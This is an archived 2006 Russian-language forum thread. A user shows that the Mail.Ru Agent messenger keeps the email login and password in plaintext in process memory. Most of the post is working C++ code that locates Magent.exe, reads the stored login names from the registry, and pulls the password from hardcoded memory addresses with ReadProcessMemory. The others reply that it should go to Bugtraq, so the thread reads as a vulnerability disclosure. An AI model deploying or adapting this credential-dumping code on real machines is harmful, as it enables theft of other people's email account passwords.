PDA

Просмотр полной версии : безопасность М-агента


Kostyan
28.10.2006, 00:42
Не так давно решил посмотреть, действительно ли м-агент так безопасен в отношении хранения пароля (в качестве логина программой используется адрес почтового ящика, соответственно пароль от мыла). Пароль агент хранит в реестре в зашифрованном виде и тут вроде все нормально. Что не скажешь о самой программе. К примеру, если снять дамп с работающего процесса Magent.exe и поискать пасс, можно обнаружить его в чистом виде по двум адресам, равно как и хранящийся в оперативной памяти логин.
ниже привожу примерный код для извлечения пароля из памяти процесса и вывода его в MessageBox (сначала выводится логин, потом пасс). Сразу извиняюсь за корявый код, ибо на С++ пишу не так давно:
#include <windows.h>
#include <tlhelp32.h>


BOOL GetProcess();
BOOL GetDataReg();
BOOL ReadProcess(long,char*,int);
HANDLE hProcess=0;

int WINAPI WinMain(HINSTANCE,HINSTANCE,LPTSTR,int)
{
GetProcess();
GetDataReg();
return true;
}

//====== делаем снимок процессов и находим хендл М-агента ============

BOOL GetProcess()
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == INVALID_HANDLE_VALUE) return false;
pe32.dwSize = sizeof(PROCESSENTRY32);
if(!Process32First(hProcessSnap,&pe32)) {CloseHandle(hProcessSnap);return false;}
do
{
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32Proc essID);
if(!hProcess == NULL )
{
if(!lstrcmp("Magent.exe",&pe32.szExeFile[0])) {return true;}
}
} while( Process32Next(hProcessSnap,&pe32));

CloseHandle( hProcessSnap );
return true;
}

//====== считываем данные о зарегистрированных e-mail из реестра и определяем длины логина и пароля =========

BOOL GetDataReg()
{
char* reg_subkey="Software\\Mail.Ru\\Agent\\mra_logins\\";
HKEY__* reg_key=0;
LONG res=ERROR_SUCCESS;
DWORD i=0;
DWORD v_type=0;
char v_name[MAX_PATH];
char v_data[MAX_PATH];
char ret[MAX_PATH]={0};
DWORD size_name=255,size_data=255;
long offset=0x0604C2C; // адрес в виртуальной памяти м-агента с логином

RegOpenKeyEx(HKEY_CURRENT_USER,&reg_subkey[0],0,KEY_QUERY_VALUE,&reg_key);
while(!res)
{
DWORD size_name=255;
DWORD size_data=255;
memset(&v_name,0,MAX_PATH);
memset(&v_data,0,MAX_PATH);

res=RegEnumValue(reg_key,i,v_name,&size_name,NULL,&v_type,(unsigned char*)v_data,&size_data);
if(!res)
{
memset(&ret[0],0,MAX_PATH);
ReadProcess(offset,&ret[0],lstrlen(&v_name[0]));

MessageBox(0,&ret[0],"your login!",0); //выводим мессагу с логином
if(!lstrcmp(&v_name[0],&ret[0]))
{
offset=0x05F7168; //адрес в виртуальной памяти м-агента с паролем
memset(&ret[0],0,MAX_PATH);
ReadProcess(offset,&ret[0],v_data[0]);
MessageBox(0,&ret[0],"your password!",0); //выводим мессагу с паролем
break;
}
i++;
}
}
RegCloseKey(reg_key);
return true;
}

//========= читаем данные из процесса ==========

BOOL ReadProcess(long off,char* buf,int len)
{
DWORD ReadData;
for(char i=0;i<len;i++)
{
void* x_off=(long*)off;
if(!ReadProcessMemory(hProcess,x_off,&buf[i],1,&ReadData)) {return false;}
off++;
}
return true;
}



Вполне возможно, что на другой машине эти данные хранятся по другим адресам, но факт остается фактом: пароль теоретически извлекаем из памяти.

azalio
28.10.2006, 02:54
Круто! Предлагаю запостить это на багтрак :)

Kostyan
29.10.2006, 01:05
Круто! Предлагаю запостить это на багтрак :)

Ну это уже на ваше усмотрение =) Я только показал теоретическую опасность...